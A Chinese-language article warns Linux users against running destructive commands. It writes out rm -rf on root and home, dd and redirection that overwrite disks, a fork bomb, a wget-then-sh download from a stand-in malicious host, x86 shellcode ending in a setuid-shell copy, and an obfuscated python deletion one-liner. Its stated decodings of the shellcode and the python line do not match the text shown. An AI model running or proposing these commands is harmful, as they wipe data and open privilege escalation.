千萬千萬不要運行的Linux命令
文中列出的命令絕對不可以運行,即使你覺得很好奇也不行,除非你是在虛擬機上運行(出現問題你可以還原),因為它們會實實在在的破壞你的系統。所以不在root等高級管理許可權下執行命令是很好的習慣。
早晚有一天,Linux 系統會像 Windows 那樣流行,用的人越來越多,包括對計算機不是很了解的人,本文的目的就是告訴大家:在Linux給你最大程度自由度的同時,也使得破壞系統變得更加容易,如果你不了解某些命令的意義,下載執行包含惡意命令的腳本,或者被騙運行某些命令,很容易讓你哭 都來不及。
這並不是說明 Linux 不安全,只是說明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。
下面的命令會刪除你硬碟上的文件,rm 的 -r 遞歸刪除,和 -f 強制刪除是很危險的選項,即使日常操作,也會遇到誤刪文件的情況。
sudo rm -rf / 刪除根分區全部的文件
sudo rm -rf . 刪除當前目錄下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 刪除根分區和家目錄,即使你不是root,家目錄還是不能倖免。
sudo mkfs.xxxx
dd 是強大的 IO 輸入輸出定向工具,如果使用不當,破壞性很大,不僅僅是當前分區,當前系統,有的時候是整個硬碟。
sudo dd if=/dev/zero of=/dev/sda 全部硬碟清零。
sudo dd if=/dev/sda of=/dev/sdb 用第一塊硬碟的內容覆蓋第二塊的內容。
sudo dd if=something of=/dev/sda 往硬碟上寫垃圾數據。
同理,直接把命令結果定向到硬碟上,相當於往硬碟上寫垃圾數據:
any_command > /dev/sda 用隨意的數據破壞硬碟
上面的 sda 、sdb 也可能是其他類似的名稱。Linux 的 /dev 系統給操縱硬體提供了很方便和強大的功能,同時也使得破壞變得更容易。
fork 命令打開一個子進程,如果把 fork 放在無限循環中,最終子進程會耗盡所有內存資源:
:(){:|:&};:
這段不知所云的符號,可以讓 Shell 不停的 fork 子進程,最後導致內存耗盡,不得不重啟,這不是 bug,只是 Shell 語句故意寫成簡寫的形式而已。下面的同理:
fork while fork
有的時候,壓縮包也是一個破壞來源~
有的壓縮包要求你解壓到某個系統中已經存在的目錄中,這時候你就要特別小心了,壓縮包裡面可能有成千上萬的小文件,以各種文件名嘗試覆蓋你現有的文件。
有的壓縮包看起來很小,但是解壓出來是上 GB 的垃圾數據,會充斥你的硬碟。
從不正規網站下載的程序、腳本,同樣會有包含惡意命令的危險,不可隨便執行:
wget [url]http://some_place/some_file[/url]
sh ./some_file
wget [url]http://hax018r.org/malicious-script[/url]
sh ./malicious-script
載腳本要確保來源正規,如果有能力,可以閱讀其代碼。即使有源代碼的程序,也不要隨便編譯執行:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
上面看起來只是一堆沒有意義的 16 進位數據,如果有人告訴你,運行這個程序你就可以不輸入密碼取得系統的 root 許可權,你可不要相信他,上面的程序實際運行的是「rm -rf ~ / & 」。
python 一類的腳本語言,同樣可以拿來搞破壞:
python -c import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))
這段程序實際上會執行 rm -rf *,也許你很奇怪上面程序結尾的 「sn!.sg! 」 是什麼意思,實際上就是 rm -rf * 每個字母的下一個!
那麼我們如何避免運行惡意程序呢?
第一不要用 root 作為日常使用的用戶,上面的程序,如果當前用戶不是 root,危害的波及範圍就會小很多。
第二要知道哪些命令是幹什麼用的,不知道的命令不要冒然運行。運行有潛在破壞能力的程序,要小心檢查自己的輸入。
第三要保證軟體、腳本的來源正規。
最後一點,雖然比較消極,但是確實十分重要的一點:
經常備份你的數據!!
本文編號2344,以後想閱讀這篇文章直接輸入2344即可。
輸入m可以獲取到文章目錄
推薦
Linux學習
更多推薦《15個技術類公眾微信》
涵蓋:程序人生、演算法與數據結構、黑客技術與網路安全、大數據技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。


※人工智慧是「消滅」還是「臣服」人類?霍金是這樣說的
※為什麼說學會學習是開發者重要且必備的技能?
※演算法之美:用圖像和聲音展現15大排序演算法全過程
※如何獲得一份滿意的offer
※開發和產品之間的恩怨從何來?
TAG:程序猿 |
※運行 Android 的活躍設備已達 25 億台
※超過400萬人運行蘋果beta:你是其中一員嗎?
※win10已經運行5年了,為什麼還有很多人迷戀win7?
※運行Android系統的筆記本!Ta都眾籌超過130萬啦
※微軟開源的 ServiceFabric:SF在多個集群中運行,機器總數超過160000台,核心數量超過250萬個
※新版Win系統界面秒殺Win10!我只在乎能不能運行exe!
※大獲成功!Lumia950 XL運行Win10真機曝光
※iPhoneX有多猛?不止win95,win7也可以運行!
※一行代碼讓 Python 的運行速度提高100倍
※傳Lumia 950原型機流出:可以運行Windows 10
※驚喜!微軟Lumia 950已成功運行Win10
※為了Win10也是拼了!office 2019隻能在Win10運行
※Linux運行exe:Wine 3.0發布
※如何讓python運行速度提高30倍
※華強北組裝的iPhone X能運行ios和Android,只賣1000元
※Suraface Phone或重新到來 支持可摺疊搭載845流暢運行win 10
※Lumia 950XL刷入完整Windows 10:運行流暢 只差WiFi驅動
※萬物皆可geek:在任天堂Switch上運行Ubuntu18.04LTS操作系統
※運行Win 10的Lumia 950原型機:支持Surface Pen
※黑客稱Lumia 950運行Windws 10 on ARM是可能的